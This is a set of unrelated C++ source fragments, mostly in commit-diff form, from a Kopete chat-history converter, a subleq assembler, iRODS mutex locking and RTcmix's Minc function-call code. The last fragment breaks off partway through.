KProgressDialog(Kopete::UI::Global::mainWidget() , i18n( "History converter" )); progressDlg->setModal(true); //modal to make sure the user will not doing stupid things (we have a qApp->processEvents()) progressDlg->setAllowCancel(false); //because i am too lazy to allow to cancel QString kopetedir=KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete")); QDir d( kopetedir ); //d should point to ~/.kde/share/apps/kopete/ d.setFilter( QDir::Dirs ); const QFileInfoList list = d.entryInfoList(); QFileInfo fi; foreach(fi, list) { QString protocolId; QString accountId; if( Kopete::Protocol *p = dynamic_cast<Kopete::Protocol *>( Kopete::PluginManager::self()->plugin( fi.fileName() ) ) ) { protocolId=p->pluginId(); QList<Kopete::Account*> accountList = Kopete::AccountManager::self()->accounts(p); Kopete::Account *a = accountList.first(); if(a) accountId=a->accountId(); } if(accountId.isNull() || protocolId.isNull()) { if(fi.fileName() == "MSNProtocol" || fi.fileName() == "msn_logs" ) { protocolId="MSNProtocol"; accountId=KGlobal::config()->group("MSN").readEntry( "UserID" ); } else if(fi.fileName() == "ICQProtocol" || fi.fileName() == "icq_logs" ) { protocolId="ICQProtocol"; accountId=KGlobal::config()->group("ICQ").readEntry( "UIN" ); } else if(fi.fileName() == "AIMProtocol" || fi.fileName() == "aim_logs" ) { protocolId="AIMProtocol"; accountId=KGlobal::config()->group("AIM").readEntry( "UserID" ); } else if(fi.fileName() == "OscarProtocol" ) { protocolId="AIMProtocol"; accountId=KGlobal::config()->group("OSCAR").readEntry( "UserID" ); } else if(fi.fileName() == "JabberProtocol" || fi.fileName() == "jabber_logs") { protocolId="JabberProtocol"; accountId=KGlobal::config()->group("Jabber").readEntry( "UserID" ); } //TODO: gadu, wp } if(!protocolId.isEmpty() || !accountId.isEmpty()) { QDir d2( fi.absoluteFilePath() ); d2.setFilter( QDir::Files ); d2.setNameFilters( QStringList("*.log") ); const QFileInfoList list = d2.entryInfoList();; QFileInfo fi2; progressDlg->progressBar()->reset(); progressDlg->progressBar()->setMaximum(d2.count()); progressDlg->setLabel(i18n("Parsing old history in %1", fi.fileName())); progressDlg->show(); //if it was not already showed... foreach(fi2, list) { //we assume that all "-" are dots. (like in hotmail.com) QString contactId=fi2.fileName().replace(".log" , QString()).replace("-" , "."); if(!contactId.isEmpty() ) { progressDlg->setLabel(i18n("Parsing old history in %1:\n%2", fi.fileName(), contactId)); qApp->processEvents(0); //make sure the text is updated in the progressDlg int month=0; int year=0; QDomDocument doc; QDomElement docElem; QDomElement msgelement; QDomNode node; QDomDocument xmllist; Kopete::Message::MessageDirection dir; QString body, date, nick; QString buffer, msgBlock; char cbuf[CBUFLENGTH]; // buffer for the log file QString logFileName = fi2.absoluteFilePath(); // open the file FILE *f = fopen(QFile::encodeName(logFileName), "r"); // create a new <message> block while ( ! feof( f ) ) { fgets(cbuf, CBUFLENGTH, f); buffer = QString::fromUtf8(cbuf); while ( strchr(cbuf, '\n') == NULL && !feof(f) ) { fgets( cbuf, CBUFLENGTH, f ); buffer += QString::fromUtf8(cbuf); } if( buffer.startsWith( QString::fromLatin1( "<message " ) ) ) { msgBlock = buffer; // find the end of the message block while( !feof( f ) && buffer != QString::fromLatin1( "</message>\n" ) /*strcmp("</message>\n", cbuf )*/ ) { fgets(cbuf, CBUFLENGTH, f); buffer = QString::fromUtf8(cbuf); while ( strchr(cbuf, '\n') == NULL && !feof(f) ) { fgets( cbuf, CBUFLENGTH, f ); buffer += QString::fromUtf8(cbuf); } msgBlock.append(buffer); } // now let's work on this new block xmllist.setContent(msgBlock, false); msgelement = xmllist.documentElement(); node = msgelement.firstChild(); if( msgelement.attribute( QString::fromLatin1( "direction" ) ) == QString::fromLatin1( "inbound" ) ) dir = Kopete::Message::Inbound; else dir = Kopete::Message::Outbound; // Read all the elements. QString tagname; QDomElement element; while ( ! node.isNull() ) { if ( node.isElement() ) { element = node.toElement(); tagname = element.tagName(); if( tagname == QString::fromLatin1( "srcnick" ) ) nick = element.text(); else if( tagname == QString::fromLatin1( "date" ) ) date = element.text(); else if( tagname == QString::fromLatin1( "body" ) ) body = element.text().trimmed(); } node = node.nextSibling(); } //FIXME!! The date in logs writed with kopete running with QT 3.0 is Localised. // so QT can't parse it correctly. QDateTime dt=QDateTime::fromString(date); if(dt.date().month() != month || dt.date().year() != year) { if(!docElem.isNull()) { QDate date(year,month,1); QString name = protocolId.replace( QRegExp( QString::fromLatin1( "[./~?*]" ) ), QString::fromLatin1( "-" ) ) + QString::fromLatin1( "/" ) + contactId.replace( QRegExp( QString::fromLatin1( "[./~?*]" ) ), QString::fromLatin1( "-" ) ) + date.toString(".yyyyMM"); KSaveFile file( KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete/logs/" ) + name + QString::fromLatin1( ".xml" ) ) ); if( file.open() ) { QTextStream stream ( &file ); //stream.setEncoding( QTextStream::UnicodeUTF8 ); //???? oui ou non? doc.save( stream , 1 ); file.finalize(); } } month=dt.date().month(); year=dt.date().year(); docElem=QDomElement(); } if(docElem.isNull()) { doc=QDomDocument("Kopete-History"); docElem= doc.createElement( "kopete-history" ); docElem.setAttribute ( "version" , "0.7" ); doc.appendChild( docElem ); QDomElement headElem = doc.createElement( "head" ); docElem.appendChild( headElem ); QDomElement dateElem = doc.createElement( "date" ); dateElem.setAttribute( "year", QString::number(year) ); dateElem.setAttribute( "month", QString::number(month) ); headElem.appendChild(dateElem); QDomElement myselfElem = doc.createElement( "contact" ); myselfElem.setAttribute( "type", "myself" ); myselfElem.setAttribute( "contactId", accountId ); headElem.appendChild(myselfElem); QDomElement contactElem = doc.createElement( "contact" ); contactElem.setAttribute( "contactId", contactId ); headElem.appendChild(contactElem); QDomElement importElem = doc.createElement( "imported" ); importElem.setAttribute( "from", fi.fileName() ); importElem.setAttribute( "date", QDateTime::currentDateTime().toString() ); headElem.appendChild(importElem); } QDomElement msgElem = doc.createElement( "msg" ); msgElem.setAttribute( "in", dir==Kopete::Message::Outbound ? "0" : "1" ); msgElem.setAttribute( "from", dir==Kopete::Message::Outbound ? accountId : contactId ); msgElem.setAttribute( "nick", nick ); //do we have to set this? msgElem.setAttribute( "time", QString::number(dt.date().day()) + ' ' + QString::number(dt.time().hour()) + ':' + QString::number(dt.time().minute()) ); QDomText msgNode = doc.createTextNode( body.trimmed() ); docElem.appendChild( msgElem ); msgElem.appendChild( msgNode ); } } fclose( f ); if(deleteFiles) d2.remove(fi2.fileName()); if(!docElem.isNull()) { QDate date(year,month,1); QString name = protocolId.replace( QRegExp( QString::fromLatin1( "[./~?*]" ) ), QString::fromLatin1( "-" ) ) + QString::fromLatin1( "/" ) + contactId.replace( QRegExp( QString::fromLatin1( "[./~?*]" ) ), QString::fromLatin1( "-" ) ) + date.toString(".yyyyMM"); KSaveFile file( KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete/logs/" ) + name + QString::fromLatin1( ".xml" ) ) ); if( file.open() ) { QTextStream stream ( &file ); //stream.setEncoding( QTextStream::UnicodeUTF8 ); //???? oui ou non? doc.save( stream ,1 ); file.finalize(); } } } progressDlg->progressBar()->setValue(progressDlg->progressBar()->value()+1); } } } delete progressDlg; } bool HistoryPlugin::detectOldHistory() { QString version=KGlobal::config()->group("History Plugin").readEntry( "Version" ,"0.6" ); if(version != "0.6") return false; QDir d( KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete/logs")) ); d.setFilter( QDir::Dirs ); if(d.count() >= 3) // '.' and '..' are included return false; //the new history already exists QDir d2( KStandardDirs::locateLocal( "data", QString::fromLatin1( "kopete")) ); d2.setFilter( QDir::Dirs ); const QFileInfoList list = d2.entryInfoList(); QFileInfo fi; foreach(fi, list) { if( dynamic_cast<Kopete::Protocol *>( Kopete::PluginManager::self()->plugin( fi.fileName() ) ) ) return true; if(fi.fileName() == "MSNProtocol" || fi.fileName() == "msn_logs" ) return true; else if(fi.fileName() == "ICQProtocol" || fi.fileName() == "icq_logs" ) return true; else if(fi.fileName() == "AIMProtocol" || fi.fileName() == "aim_logs" ) return true; else if(fi.fileName() == "OscarProtocol" ) return true; else if(fi.fileName() == "JabberProtocol" || fi.fileName() == "jabber_logs") return true; } return false; } <|endoftext|>
<commit_before>/* * assembler32.cpp * * Created on: Jul 23, 2014 * Author: Pimenta */ #include <cstdint> #include <cstdio> #include <fstream> #include <map> #include <set> #include <string> #include <sstream> using namespace std; typedef uint32_t uword_t; #ifndef MEM_WORDS #define MEM_WORDS 0x2000 #endif static fstream f; static string buf; static set<string> exported; static map<string, uword_t> symbols; static map<string, set<uword_t>> references; static set<uword_t> relatives; static uword_t mem_size = 0; static uword_t* mem = new uword_t[MEM_WORDS]; static int currentLine = 1, lastTokenLine = 1, currentTokenLine = 1; inline static void readToken() { buf = ""; lastTokenLine = currentTokenLine; for (char c = f.get(); f.good(); c = f.get()) { if (c == '/') { // comment found if (buf.size()) { // token was read currentTokenLine = currentLine; return; } // ignoring comment for (c = f.get(); c != '\r' && c != '\n' && f.good(); c = f.get()); if (c == '\r') { // checking for CR or CRLF line endings c = f.get(); if (f.good() && c != '\n') { f.unget(); } } currentLine++; } else if (c == '\r' || c == '\n') { // line break found if (c == '\r') { // checking for CR or CRLF line endings c = f.get(); if (f.good() && c != '\n') { f.unget(); } } if (buf.size()) { // token was read currentTokenLine = currentLine++; return; } currentLine++; } else if (c == ' ' || c == '\t') { // white space found if (buf.size()) { // token was read currentTokenLine = currentLine; return; } } else { // concatenating the character read buf += c; } } currentTokenLine = currentLine; } inline static uword_t parseData() { uword_t data = 0; if (buf[0] == '0' && buf[1] == 'x') { // for hex notation sscanf(buf.c_str(), "%i", &data); } else { // for decimal notation stringstream ss; ss << buf; ss >> data; } return data; } inline static uword_t parseField() { uword_t field = 0; if (buf[0] == '0' && buf[1] == 'x') { // hex notation means absolute address sscanf(buf.c_str(), "%i", &field); } else { // symbol means an address that needs to be relocated later relatives.emplace(mem_size); // looking for array offset if (buf.find("+") != buf.npos) { string offset = buf.substr(buf.find("+") + 1, buf.size()); buf = buf.substr(0, buf.find("+")); stringstream ss; ss << offset; ss >> field; } auto sym = symbols.find(buf); if (sym == symbols.end()) { // symbol not found. leave a reference references[buf].emplace(mem_size); } else { // symbol found. the field is the address of the symbol field = sym->second; } } return field; } int assembler32(int argc, char* argv[]) { if (argc != 3) { fprintf(stderr, "Usage mode: subleq-asm <assembly_file> <object_file>\n"); return 0; } f.open(argv[1]); readToken(); // reading ".export" // reading export section for (readToken(); buf != ".data"; readToken()) { exported.insert(buf); } // reading data section for (readToken(); buf != ".text";) { symbols[buf.substr(0, buf.size() - 1)] = mem_size; readToken(); if (buf == ".array") { // uninitialized array readToken(); mem_size += parseData(); readToken(); // next symbol } else if (buf == ".iarray") { // initialized array for (readToken(); currentTokenLine == lastTokenLine; readToken()) { mem[mem_size++] = parseData(); } } else if (buf == ".ptr") { // pointer mem[mem_size] = parseField(); mem_size++; readToken(); // next symbol } else { // initialized word mem[mem_size++] = parseData(); readToken(); // next symbol } } // reading text section int field = 0; for (readToken(); buf.size();) { // field 2 omitted if (field == 2 && currentTokenLine != lastTokenLine) { relatives.emplace(mem_size); mem[mem_size] = mem_size + 1; mem_size++; field = (field + 1)%3; } // symbol found else if (buf[buf.size() - 1] == ':') { symbols[buf.substr(0, buf.size() - 1)] = mem_size; if (buf == "start:") exported.emplace("start"); readToken(); } // field 0, 1, or field 2 specified else { mem[mem_size] = parseField(); mem_size++; field = (field + 1)%3; readToken(); } } f.close(); // resolve references for (auto map_it = references.begin(); map_it != references.end();) { // external symbols auto sym = symbols.find(map_it->first); if (sym == symbols.end()) { ++map_it; continue; } // resolve for (auto it = map_it->second.begin(); it != map_it->second.end(); ++it) { mem[*it] += sym->second; } references.erase(map_it++); } f.open(argv[2], fstream::out | fstream::binary); { uword_t tmp; // write number of exported symbols tmp = exported.size(); f.write((const char*)&tmp, sizeof(uword_t)); // write exported symbols for (auto& exp : exported) { // string f.write(exp.c_str(), exp.size() + 1); // address tmp = symbols[exp]; f.write((const char*)&tmp, sizeof(uword_t)); } // write number of symbols of pending references tmp = references.size(); f.write((const char*)&tmp, sizeof(uword_t)); // write symbols of pending references for (auto& sym : references) { // string f.write(sym.first.c_str(), sym.first.size() + 1); // write number of references to current symbol tmp = sym.second.size(); f.write((const char*)&tmp, sizeof(uword_t)); // write references to current symbol for (auto ref : sym.second) { tmp = ref; f.write((const char*)&tmp, sizeof(uword_t)); } } // write number of relative addresses tmp = relatives.size(); f.write((const char*)&tmp, sizeof(uword_t)); // write relative addresses for (auto addr : relatives) { tmp = addr; f.write((const char*)&tmp, sizeof(uword_t)); } // write assembled code size f.write((const char*)&mem_size, sizeof(uword_t)); // write assembled code f.write((const char*)mem, sizeof(uword_t)*mem_size); } f.close(); delete[] mem; return 0; } <commit_msg>Fixing bug<commit_after>/* * assembler32.cpp * * Created on: Jul 23, 2014 * Author: Pimenta */ #include <cstdint> #include <cstdio> #include <fstream> #include <map> #include <set> #include <string> #include <sstream> using namespace std; typedef uint32_t uword_t; #ifndef MEM_WORDS #define MEM_WORDS 0x2000 #endif static fstream f; static string buf; static set<string> exported; static map<string, uword_t> symbols; static map<string, set<uword_t>> references; static set<uword_t> relatives; static uword_t mem_size = 0; static uword_t* mem = new uword_t[MEM_WORDS]; static int currentLine = 1, lastTokenLine = 1, currentTokenLine = 1; inline static void readToken() { buf = ""; lastTokenLine = currentTokenLine; for (char c = f.get(); f.good(); c = f.get()) { if (c == '/') { // comment found if (buf.size()) { // token was read currentTokenLine = currentLine; return; } // ignoring comment for (c = f.get(); c != '\r' && c != '\n' && f.good(); c = f.get()); if (c == '\r') { // checking for CR or CRLF line endings c = f.get(); if (f.good() && c != '\n') { f.unget(); } } currentLine++; } else if (c == '\r' || c == '\n') { // line break found if (c == '\r') { // checking for CR or CRLF line endings c = f.get(); if (f.good() && c != '\n') { f.unget(); } } if (buf.size()) { // token was read currentTokenLine = currentLine++; return; } currentLine++; } else if (c == ' ' || c == '\t') { // white space found if (buf.size()) { // token was read currentTokenLine = currentLine; return; } } else { // concatenating the character read buf += c; } } currentTokenLine = currentLine; } inline static uword_t parseData() { uword_t data = 0; if (buf[0] == '0' && buf[1] == 'x') { // for hex notation sscanf(buf.c_str(), "%i", &data); } else { // for decimal notation stringstream ss; ss << buf; ss >> data; } return data; } inline static uword_t parseField() { uword_t field = 0; if (buf[0] == '0' && buf[1] == 'x') { // hex notation means absolute address sscanf(buf.c_str(), "%i", &field); } else { // symbol means an address that needs to be relocated later relatives.emplace(mem_size); // looking for array offset if (buf.find("+") != buf.npos) { string offset = buf.substr(buf.find("+") + 1, buf.size()); buf = buf.substr(0, buf.find("+")); stringstream ss; ss << offset; ss >> field; } auto sym = symbols.find(buf); if (sym == symbols.end()) { // symbol not found. leave a reference references[buf].emplace(mem_size); } else { // symbol found. the field is the address of the symbol field = sym->second; } } return field; } int assembler32(int argc, char* argv[]) { if (argc != 3) { fprintf(stderr, "Usage mode: subleq-asm <assembly_file> <object_file>\n"); return 0; } f.open(argv[1]); readToken(); // reading ".export" // reading export section for (readToken(); buf != ".data"; readToken()) { exported.insert(buf); } // reading data section for (readToken(); buf != ".text";) { symbols[buf.substr(0, buf.size() - 1)] = mem_size; readToken(); if (buf == ".array") { // uninitialized array readToken(); mem_size += parseData(); readToken(); // next symbol } else if (buf == ".iarray") { // initialized array for (readToken(); currentTokenLine == lastTokenLine; readToken()) { mem[mem_size++] = parseData(); } } else if (buf == ".ptr") { // pointer readToken(); mem[mem_size] = parseField(); mem_size++; readToken(); // next symbol } else { // initialized word mem[mem_size++] = parseData(); readToken(); // next symbol } } // reading text section int field = 0; for (readToken(); buf.size();) { // field 2 omitted if (field == 2 && currentTokenLine != lastTokenLine) { relatives.emplace(mem_size); mem[mem_size] = mem_size + 1; mem_size++; field = (field + 1)%3; } // symbol found else if (buf[buf.size() - 1] == ':') { symbols[buf.substr(0, buf.size() - 1)] = mem_size; if (buf == "start:") exported.emplace("start"); readToken(); } // field 0, 1, or field 2 specified else { mem[mem_size] = parseField(); mem_size++; field = (field + 1)%3; readToken(); } } f.close(); // resolve references for (auto map_it = references.begin(); map_it != references.end();) { // external symbols auto sym = symbols.find(map_it->first); if (sym == symbols.end()) { ++map_it; continue; } // resolve for (auto it = map_it->second.begin(); it != map_it->second.end(); ++it) { mem[*it] += sym->second; } references.erase(map_it++); } f.open(argv[2], fstream::out | fstream::binary); { uword_t tmp; // write number of exported symbols tmp = exported.size(); f.write((const char*)&tmp, sizeof(uword_t)); // write exported symbols for (auto& exp : exported) { // string f.write(exp.c_str(), exp.size() + 1); // address tmp = symbols[exp]; f.write((const char*)&tmp, sizeof(uword_t)); } // write number of symbols of pending references tmp = references.size(); f.write((const char*)&tmp, sizeof(uword_t)); // write symbols of pending references for (auto& sym : references) { // string f.write(sym.first.c_str(), sym.first.size() + 1); // write number of references to current symbol tmp = sym.second.size(); f.write((const char*)&tmp, sizeof(uword_t)); // write references to current symbol for (auto ref : sym.second) { tmp = ref; f.write((const char*)&tmp, sizeof(uword_t)); } } // write number of relative addresses tmp = relatives.size(); f.write((const char*)&tmp, sizeof(uword_t)); // write relative addresses for (auto addr : relatives) { tmp = addr; f.write((const char*)&tmp, sizeof(uword_t)); } // write assembled code size f.write((const char*)&mem_size, sizeof(uword_t)); // write assembled code f.write((const char*)mem, sizeof(uword_t)*mem_size); } f.close(); delete[] mem; return 0; } <|endoftext|>
<commit_before><commit_msg>Tentative compile fix.<commit_after><|endoftext|>
<commit_before>/* For copyright information please refer to files in the COPYRIGHT directory */ #include "debug.hpp" #include "locks.hpp" #include "filesystem.hpp" #include "utils.hpp" #include "irods_log.hpp" #include "initServer.hpp" #include "irods_server_properties.hpp" int lockMutex( mutex_type **mutex ) { std::string mutex_name; irods::error ret = getMutexName( mutex_name ); if ( !ret.ok() ) { rodsLog( LOG_ERROR, "lockMutex: call to getMutexName failed" ); return -1; } try { *mutex = new boost::interprocess::named_mutex( boost::interprocess::open_or_create, mutex_name.c_str() ); } catch ( const boost::interprocess::interprocess_exception& ) { rodsLog( LOG_ERROR, "boost::interprocess::named_mutex threw a boost::interprocess::interprocess_exception." ); return -1; } ( *mutex )->lock(); return 0; } void unlockMutex( mutex_type **mutex ) { ( *mutex )->unlock(); delete *mutex; } /* This function can be used during initialization to remove a previously held mutex that has not been released. * This should only be used when there is no other process using the mutex */ void resetMutex() { std::string mutex_name; irods::error ret = getMutexName( mutex_name ); if ( !ret.ok() ) { rodsLog( LOG_ERROR, "resetMutex: call to getMutexName failed" ); } boost::interprocess::named_mutex::remove( mutex_name.c_str() ); } irods::error getMutexName( std::string &mutex_name ) { std::string mutex_name_salt; irods::error ret = irods::server_properties::getInstance().get_property<std::string>( RE_CACHE_SALT_KW, mutex_name_salt ); if ( !ret.ok() ) { rodsLog( LOG_ERROR, "getMutexName: failed to retrieve re cache salt from server_properties\n%s", ret.result().c_str() ); return PASS( ret ); } getResourceName( mutex_name, mutex_name_salt.c_str() ); mutex_name = "re_cache_mutex_" + mutex_name; return SUCCESS(); } <commit_msg>[#2212] CID26297:<commit_after>/* For copyright information please refer to files in the COPYRIGHT directory */ #include "debug.hpp" #include "locks.hpp" #include "filesystem.hpp" #include "utils.hpp" #include "irods_log.hpp" #include "initServer.hpp" #include "irods_server_properties.hpp" int lockMutex( mutex_type **mutex ) { std::string mutex_name; irods::error ret = getMutexName( mutex_name ); if ( !ret.ok() ) { rodsLog( LOG_ERROR, "lockMutex: call to getMutexName failed" ); return -1; } try { *mutex = new boost::interprocess::named_mutex( boost::interprocess::open_or_create, mutex_name.c_str() ); } catch ( const boost::interprocess::interprocess_exception& ) { rodsLog( LOG_ERROR, "boost::interprocess::named_mutex threw a boost::interprocess::interprocess_exception." ); return -1; } try { ( *mutex )->lock(); } catch ( const boost::interprocess::interprocess_exception& ) { rodsLog( LOG_ERROR, "lock threw a boost::interprocess::interprocess_exception." ); return -1; } return 0; } void unlockMutex( mutex_type **mutex ) { ( *mutex )->unlock(); delete *mutex; } /* This function can be used during initialization to remove a previously held mutex that has not been released. * This should only be used when there is no other process using the mutex */ void resetMutex() { std::string mutex_name; irods::error ret = getMutexName( mutex_name ); if ( !ret.ok() ) { rodsLog( LOG_ERROR, "resetMutex: call to getMutexName failed" ); } boost::interprocess::named_mutex::remove( mutex_name.c_str() ); } irods::error getMutexName( std::string &mutex_name ) { std::string mutex_name_salt; irods::error ret = irods::server_properties::getInstance().get_property<std::string>( RE_CACHE_SALT_KW, mutex_name_salt ); if ( !ret.ok() ) { rodsLog( LOG_ERROR, "getMutexName: failed to retrieve re cache salt from server_properties\n%s", ret.result().c_str() ); return PASS( ret ); } getResourceName( mutex_name, mutex_name_salt.c_str() ); mutex_name = "re_cache_mutex_" + mutex_name; return SUCCESS(); } <|endoftext|>
<commit_before>/* RTcmix - Copyright (C) 2004 The RTcmix Development Team See ``AUTHORS'' for a list of contributors. See ``LICENSE'' for the license to this software and for a DISCLAIMER OF ALL WARRANTIES. */ #include <stdlib.h> #include <assert.h> #include <math.h> #include <RTcmix.h> #include "minc_internal.h" #include "MincValue.h" #include <handle.h> #include <rtcmix_types.h> #include <prototypes.h> #include <PField.h> static Arg * minc_list_to_arglist(const char *funcname, const MincValue *inList, const int inListLen, Arg *inArgs, int *pNumArgs) { int oldNumArgs = *pNumArgs; int n = 0, newNumArgs = oldNumArgs + inListLen; // Create expanded array Arg *newArgs = new Arg[newNumArgs]; if (newArgs == NULL) return NULL; if (inArgs != NULL) { // Copy existing args to new array for (; n < oldNumArgs; ++n) { newArgs[n] = inArgs[n]; } } for (int i = 0; n < newNumArgs; ++i, ++n) { switch (inList[i].dataType()) { case MincVoidType: minc_die("call_external_function: %s(): invalid argument type", funcname); delete [] newArgs; return NULL; case MincFloatType: newArgs[n] = (MincFloat) inList[i]; break; case MincStringType: newArgs[n] = (MincString)inList[i]; break; case MincHandleType: newArgs[n] = (Handle) (MincHandle)inList[i]; break; case MincListType: if ((MincList *)inList[i] == NULL) { minc_die("can't pass a null list (arg %d) to RTcmix function %s()", n, funcname); return NULL; } if (((MincList *)inList[i])->len <= 0) { minc_die("can't pass an empty list (arg %d) to RTcmix function %s()", n, funcname); delete [] newArgs; return NULL; } else { minc_die("for now, no nested lists can be passed to RTcmix function %s()", funcname); delete [] newArgs; return NULL; } break; case MincMapType: minc_die("for now, maps cannot be passed to RTcmix function %s()", funcname); delete [] newArgs; return NULL; case MincStructType: minc_die("for now, structs cannot be passed to RTcmix function %s()", funcname); delete [] newArgs; return NULL; } } *pNumArgs = newNumArgs; return newArgs; } int call_external_function(const char *funcname, const MincValue arglist[], const int nargs, MincValue *return_value) { int result, numArgs = nargs; Arg retval; Arg *rtcmixargs = new Arg[nargs]; if (rtcmixargs == NULL) return MEMORY_ERROR; // Convert arglist for passing to RTcmix function. for (int i = 0; i < nargs; i++) { switch (arglist[i].dataType()) { case MincFloatType: rtcmixargs[i] = (MincFloat)arglist[i]; break; case MincStringType: rtcmixargs[i] = (MincString)arglist[i]; break; case MincHandleType: rtcmixargs[i] = (Handle) (MincHandle)arglist[i]; #ifdef EMBEDDED if ((Handle)rtcmixargs[i] == NULL) { minc_die("can't pass a null handle (arg %d) to RTcmix function %s()", i, funcname); return PARAM_ERROR; } #endif break; case MincListType: { MincList *list = (MincList *)arglist[i]; if (list == NULL) { minc_die("can't pass a null list (arg %d) to RTcmix function %s()", i, funcname); return PARAM_ERROR; } if (list->len <= 0) { minc_die("can't pass an empty list (arg %d) to RTcmix function %s()", i, funcname); return PARAM_ERROR; } // If list is final argument to function, treat its contents as additional function arguments if (i == nargs-1) { int argCount = i; Arg *newargs = minc_list_to_arglist(funcname, list->data, list->len, rtcmixargs, &argCount); delete [] rtcmixargs; if (newargs == NULL) return PARAM_ERROR; rtcmixargs = newargs; numArgs = argCount; } // If list contains only floats, convert and pass it along. else { Array *newarray = (Array *) emalloc(sizeof(Array)); if (newarray == NULL) return MEMORY_ERROR; assert(sizeof(*newarray->data) == sizeof(double)); // because we cast MincFloat to double here newarray->data = (double *) float_list_to_array(list); if (newarray->data != NULL) { newarray->len = list->len; rtcmixargs[i] = newarray; } else { minc_die("can't pass a mixed-type list (arg %d) to RTcmix function %s()", i, funcname); free(newarray); return PARAM_ERROR; } } } break; case MincMapType: minc_die("%s(): arg %d: maps not supported as function arguments", funcname, i); return PARAM_ERROR; break; case MincStructType: minc_die("%s(): arg %d: structs not supported as function arguments", funcname, i); return PARAM_ERROR; break; default: minc_die("%s(): arg %d: invalid argument type", funcname, i); return PARAM_ERROR; break; } } result = RTcmix::dispatch(funcname, rtcmixargs, numArgs, &retval); // Convert return value from RTcmix function. switch (retval.type()) { case DoubleType: *return_value = (MincFloat) retval; break; case StringType: *return_value = (MincString) retval; break; case HandleType: *return_value = (MincHandle) (Handle) retval; break; case ArrayType: #ifdef NOMORE // don't think functions will return non-opaque arrays to Minc, but if they do, // these should be converted to MincListType return_value->type = MincArrayType; { Array *array = (Array *) retval; return_value->val.array.len = array->len; return_value->val.array.data = array->data; } #endif break; default: break; } delete [] rtcmixargs; return result; } void printargs(const char *funcname, const Arg arglist[], const int nargs) { RTcmix::printargs(funcname, arglist, nargs); } static Handle _createPFieldHandle(PField *pfield) { Handle handle = (Handle) malloc(sizeof(struct _handle)); handle->type = PFieldType; handle->ptr = (void *) pfield; pfield->ref(); handle->refcount = 0; return handle; } static double plus_binop(double x, double y) { return x + y; } static double minus_binop(double x, double y) { return x - y; } static double mult_binop(double x, double y) { return x * y; } static double divide_binop(double x, double y) { return (y != 0.0) ? x / y : 999999999999999999.9; } static double mod_binop(double x, double y) { return (int) x % (int) y; } static double pow_binop(double x, double y) { return pow(x, y); } PField *createBinopPField(PField *pfield1, PField *pfield2, OpKind op) { PFieldBinaryOperator::Operator binop = NULL; // Create appropriate binary operator PField switch (op) { case OpPlus: binop = plus_binop; break; case OpMinus: binop = minus_binop; break; case OpMul: binop = mult_binop; break; case OpDiv: binop = divide_binop; break; case OpMod: binop = mod_binop; break; case OpPow: binop = pow_binop; break; case OpNeg: default: minc_internal_error("invalid binary handle operator"); return NULL; } // create new Binop PField, return it cast to MincHandle return new PFieldBinaryOperator(pfield1, pfield2, binop); } MincHandle minc_binop_handle_float(const MincHandle mhandle, const MincFloat val, OpKind op) { DPRINT("minc_binop_handle_float (handle=%p, val=%f\n", mhandle, val); // Extract PField from MincHandle. Handle handle = (Handle) mhandle; assert(handle->type == PFieldType); PField *pfield1 = (PField *) handle->ptr; // Create ConstPField for MincFloat. PField *pfield2 = new ConstPField(val); // Create PField using appropriate operator. PField *outpfield = createBinopPField(pfield1, pfield2, op); return (MincHandle) _createPFieldHandle(outpfield); } MincHandle minc_binop_float_handle(const MincFloat val, const MincHandle mhandle, OpKind op) { DPRINT("minc_binop_float_handle (val=%f, handle=%p\n", val, mhandle); // Create ConstPField for MincFloat. PField *pfield1 = new ConstPField(val); // Extract PField from MincHandle. Handle handle = (Handle) mhandle; assert(handle->type == PFieldType); PField *pfield2 = (PField *) handle->ptr; // Create PField using appropriate operator. PField *outpfield = createBinopPField(pfield1, pfield2, op); return (MincHandle) _createPFieldHandle(outpfield); } MincHandle minc_binop_handles(const MincHandle mhandle1, const MincHandle mhandle2, OpKind op) { DPRINT("minc_binop_handles (handle1=%p, handle2=%p\n", mhandle1, mhandle2); // Extract PFields from MincHandles Handle handle1 = (Handle) mhandle1; Handle handle2 = (Handle) mhandle2; assert(handle1->type == PFieldType); assert(handle2->type == PFieldType); PField *pfield1 = (PField *) handle1->ptr; PField *pfield2 = (PField *) handle2->ptr; PField *opfield = createBinopPField(pfield1, pfield2, op); // create Handle for new PField, return it cast to MincHandle return (MincHandle) _createPFieldHandle(opfield); } <commit_msg>handle operator functions redone to 1) not crash with null handles and 2) not assert when wrong type of handle given to pfield code.<commit_after>/* RTcmix - Copyright (C) 2004 The RTcmix Development Team See ``AUTHORS'' for a list of contributors. See ``LICENSE'' for the license to this software and for a DISCLAIMER OF ALL WARRANTIES. */ #include <stdlib.h> #include <assert.h> #include <math.h> #include <RTcmix.h> #include "minc_internal.h" #include "MincValue.h" #include <handle.h> #include <rtcmix_types.h> #include <prototypes.h> #include <PField.h> static Arg * minc_list_to_arglist(const char *funcname, const MincValue *inList, const int inListLen, Arg *inArgs, int *pNumArgs) { int oldNumArgs = *pNumArgs; int n = 0, newNumArgs = oldNumArgs + inListLen; // Create expanded array Arg *newArgs = new Arg[newNumArgs]; if (newArgs == NULL) return NULL; if (inArgs != NULL) { // Copy existing args to new array for (; n < oldNumArgs; ++n) { newArgs[n] = inArgs[n]; } } for (int i = 0; n < newNumArgs; ++i, ++n) { switch (inList[i].dataType()) { case MincVoidType: minc_die("call_external_function: %s(): invalid argument type", funcname); delete [] newArgs; return NULL; case MincFloatType: newArgs[n] = (MincFloat) inList[i]; break; case MincStringType: newArgs[n] = (MincString)inList[i]; break; case MincHandleType: newArgs[n] = (Handle) (MincHandle)inList[i]; break; case MincListType: if ((MincList *)inList[i] == NULL) { minc_die("can't pass a null list (arg %d) to RTcmix function %s()", n, funcname); return NULL; } if (((MincList *)inList[i])->len <= 0) { minc_die("can't pass an empty list (arg %d) to RTcmix function %s()", n, funcname); delete [] newArgs; return NULL; } else { minc_die("for now, no nested lists can be passed to RTcmix function %s()", funcname); delete [] newArgs; return NULL; } break; case MincMapType: minc_die("for now, maps cannot be passed to RTcmix function %s()", funcname); delete [] newArgs; return NULL; case MincStructType: minc_die("for now, structs cannot be passed to RTcmix function %s()", funcname); delete [] newArgs; return NULL; } } *pNumArgs = newNumArgs; return newArgs; } int call_external_function(const char *funcname, const MincValue arglist[], const int nargs, MincValue *return_value) { int result, numArgs = nargs; Arg retval; Arg *rtcmixargs = new Arg[nargs]; if (rtcmixargs == NULL) return 